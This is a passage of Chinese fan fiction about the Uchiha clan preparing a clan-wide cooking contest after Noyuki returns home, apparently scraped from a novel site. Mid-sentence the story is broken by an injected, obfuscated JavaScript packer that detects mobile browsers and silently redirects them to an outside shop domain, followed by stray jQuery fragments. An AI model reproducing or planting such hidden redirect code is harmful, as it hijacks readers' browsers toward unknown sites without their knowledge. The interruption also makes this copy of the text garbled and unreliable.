时隔多日,宇智波野衾重回木叶。

    她高高抬起手,伸了个懒腰,金窝银窝都不如自己的狗窝好。

    才刚到族地,野衾的脚步就轻快许多,抬了手和其他族人们告别,就从族地侧面的小巷子拐进去。

    大家是第二天一早就走的,不过回来时并不像之前那样轻装简行,有吃食、衣物,于是路上就慢了些,到夜晚才归村。

    暮色把石板路染成深灰,路两边的人家已经点起了灯,暖光从纸门里透出来,偶尔能听见里头传出的碗筷碰撞声和模糊的人语。

    她刚走过几户人家,眼角瞥见一个黑色人影突然从路边的矮墙上蹿了出来。

    “野衾——!好久不见,尼桑真的好想你啊~~~”

    野衾脚下顿住,差点条件反射地把手里的袋子朝人给砸过去。

    定睛一看,才发现是宇智波友也。

    她的好兄长脸上带着一种压抑不住的兴奋,那模样活像是揣了一兜糖急着找人分的小孩。

    “你终于回来了!真是太好啦,我还怕你明天赶不回来呢!”友也几步凑到她跟前,伸手就去接她手上的袋子和背上的包,“来来来,给我拿着,你累不累?路上吃东西了没有?”

    野衾把东西全递给他,紧绷的肩塌下来,回答懒散,但句句皆有回应:“还行啦,不累。我肯定是吃过的了,不过你这么急慌慌地蹲在巷子口,是专门等我的吗?”

    “那是自然。”友也嘿嘿一笑,随即又正了正神色,压低声音,“我跟你说,明天有大事。”

    野衾扬了扬眉毛:“什么大事?”

    友也的眼睛亮晶晶的,他得意地说:“厨、王、争、霸、赛!”

    野衾:“?”

    友也就耐心跟他解释:“这是刹那张罗的,你上回不是给几位叔伯婶娘们留的几张方子吗?大家基本上都照着做了,很多族人都觉得好吃。刹那说评定的人太少,算不得数,不如搞一场大的,全族都参与到其中来。”

    “不负责做饭的族人们就负责处理原材料,这活儿简单,也不需要太厉害的手艺。料理就交给做吃食的人,做得好吃的人拿彩头,其他人负责吃和喝彩。他跟火核大人立了军令状,要是办砸了就每天多练两个小时的苦无投掷,连练一个月呢。”

    本来一开始宇智波火核是不应的,说族里最近事情多,哪有精力搞这些。

    刹那他们再三保证,这事不需要族里费多少功夫,他们自己组织,从场地到食材到评分规则全自己搞定,绝不耽误正事,也让大家伙儿高兴一下嘛。

    火核想着是该让这些小辈们锻炼锻炼,还有刹那这小子在那拍着胸脯信誓旦旦地讲话,不如就依了他们。

    野衾听得一阵恍惚,跟火核相处了几回,也知道这个自小作为宇智波一族的二把手培养的现任族长做事板一眼了些,能让儿子用军令状换一次全族吃喝比赛的机会,说明刹那这回是真下了功夫。

    她弯着嘴角,很惊喜地说:“你们的想法很妙啊!”

    “这还是从野衾你这学来的呢!”另一个声音从墙头上方响起来,紧接着花凛从银杏树上翻身跳下,落地的时候裙摆旋了一圈。

    风华正茂的小姑娘站稳后,就眉飞色舞地跟野衾说:“你忘了吗,上回我们一起去京都的时候,你就跟我们说过比赛的事,嘀咕着它多有意思,又能吸引多少人呢。”

    友也赞同地点头。

    野衾思索了一下,回忆失败。

    她想过的点子太多了,乱七八糟的一大堆,让她试图回忆起来只能说有点困难。

    但这几人能够把她的点子记住,并且付诸于实践,行动力着实很强。

    ……

    宇智波花凛拍了拍手上的树皮屑,朝野衾笑了笑:“走,带你去看看场地。今天刚布置完的呢。”

    野衾跟着他们穿过两条小巷,走到了族地的中心。

    这是一片开阔的空地,平日里是小孩子们练手里剑的地方,靶子现在都移到了东边的墙角下。

    此刻夕阳正从西边的屋檐沉下去,一抹金红色的残光铺在空地上,像精心涂绘的油画。

    空地周围的几棵樟树上挂了一排的纸灯笼,还没有点燃,所以在晚风里轻轻晃着,偶尔碰在一起发出细微的沙沙声。

    正中间搭了一长排木桌,桌面用深蓝色的布铺着,一角被风吹得微微翻起。空地边上立了一块木板,上面贴了张大白纸,用墨字龙飞凤舞地写着“宇智波第一届料理大会”几个字。

    这显然就是宇智波刹那的手笔。

    亭子的柱子上缠了几串纸花,不知道是谁带着折的,红红粉粉的,被晚风一吹就转着圈地飘。

    瞧着是简陋了些,而且布置并不算奢华,甚至可以说有些粗糙,但该有的都有了,能看出张罗的人费了不少心思。

    “怎么样?”友也迫不及待地问,语气里带着几分期待。

    野衾的目光扫了一圈,几人愈发紧张,才点了点头,说:“不错嘛,挺像那么回事的。”

    友也和花凛顿时松了口气,前者随即故作淡定地清了清嗓子:“那是当然。也不看看是谁跟着一起弄的。”

    花凛在旁边轻轻嗤了一声,但没说什么,笑着拽了拽野衾的袖子:“走吧,先回家歇着,明天一早才是正经热闹的时候。刹那还说要请你当特邀评委,哎呀,别这样震惊!没打算让你投票当恶人,就是让你第一个尝,尝完了给个评价就行。”

    “行。”野衾答应得干脆。

    ------

    第二天一早,天还没亮透,野衾就被外面的动静吵醒了。

    她迷糊起身,揉了把眼睛,再看自己被子另一边,早已掀开一角,只有皱巴的床褥。

    妹妹美咲太久没见自己的姐姐,于是夜里头就央着要和她一起睡。

    她没想到小孩会比自己还先起来,看来是期待得紧了。

    脚步声、搬东西的闷响、压低了嗓门的对话声,偶尔夹

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772569|209415||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    杂着几声被迅速制止的大笑……野衾推开窗户往外看了一眼,晨雾还没散尽,空场上已经有人在走动了。

    他们家离族地中心近,楼高,看得到那边,就算野衾没觉醒宇智波的写轮眼也看得一清二楚——

    几个起得早的姑奶奶们正在往木桌上摆食材,一筐筐的蔬菜和一盆盆的鱼肉从各家厨房里搬出来,有人弯腰往临时的炉灶里添柴火,有人坐在板凳上处理各类食材,有人踮着脚尖把灯笼点亮。

    灯笼里的烛火在清晨的薄雾里显得格外温暖,一盏盏亮起来后,像是有人在夜色里捧出了一把又一把的星星。

    等野衾洗漱完,换好衣服走到空场时,天已经全亮了,人比刚才又多了好几倍。

    昨晚空旷安静的场地此刻仿佛被注入了魂魄,木桌上摆满了各色食材和炊具,从最家常的酱油瓶到从京都带回来的精致食盒,杂七杂八地混在一起,倒有一种出乎意料的和谐。

    七八个临时搭起来的陶炉灶沿墙根排成一排,柴火烧得正旺,火星子噼里啪啦地往上蹿。

    宇智波惠子正往锅里下油,葱花入锅的一瞬间滋啦一声响,香气猛地炸开,把周围几个小孩的注意力全都吸了过去。

    宇智波玲奈的母亲宇智波玉正在案板上揉面,袖子挽得很高,两只手上全是白扑扑的面粉,揉面的动作带着一种大开大合的力道,跟用体术打架差不多。

    围观的人笑着说你这不是揉面是练功夫,玉头也不抬,说等你吃的那会儿别喊香就成。

    小孩们在桌椅之间钻来钻去,笑声尖得像一串被猎户惊动的麻雀。

    宇智波澪穿了一身崭新的浅葱色小纹和服,端着漆盘从人群里穿过,鬓边簪了朵院子里刚摘下来的白芙蓉,惹得好几个年轻小伙子的目光不自觉地追着她走。

    野衾站在场边看了一圈,心里默默地算了一下人数。

    这阵仗怕是全族能来的都来了,连几位战国时期活下来的,拄着拐杖的长辈都在廊下摆了椅子坐着,腿上盖着毯子,手里端着热茶,看满场的人忙忙碌碌,脸上满是笑意。

    “野衾!”

    刹那从人群里挤出来,额头上沁着细密的汗珠,却很有精神。

    大家今天都没有穿战斗服,全是族服与自己最美的和服,刹那更是穿了一身深灰色的正装,衣襟理得整齐,头发梳得服帖,显然是为了主持这个场合特意打扮过的。

    走到野衾面前之后,他深吸了一口气,郑重其事地说:“多谢你的主意,野衾。”

    他语气充满了真挚的感谢,之前第一回见到的骄傲恣意,无所顾忌的少年也少见地开始正眼看待身边人,开始接过族中的重任。

    在看到族人们发自内心的笑容时,他很难不为之动容、欢喜。

    野衾定定地看了他两秒,伸出手,垫脚在他肩膀上轻轻拍了一下,笑着说:“不用搞这么郑重啦,刹那哥。你办得很好,我只是给个建议,是你自己和友也哥,花凛姐一起做的功劳。”